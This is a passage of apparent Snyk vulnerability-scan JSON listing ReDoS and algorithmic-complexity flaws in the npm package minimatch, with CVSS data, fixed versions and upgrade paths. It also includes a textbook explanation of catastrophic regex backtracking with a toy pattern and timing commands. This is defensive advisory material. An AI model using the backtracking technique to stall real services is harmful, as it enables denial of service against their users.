Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit 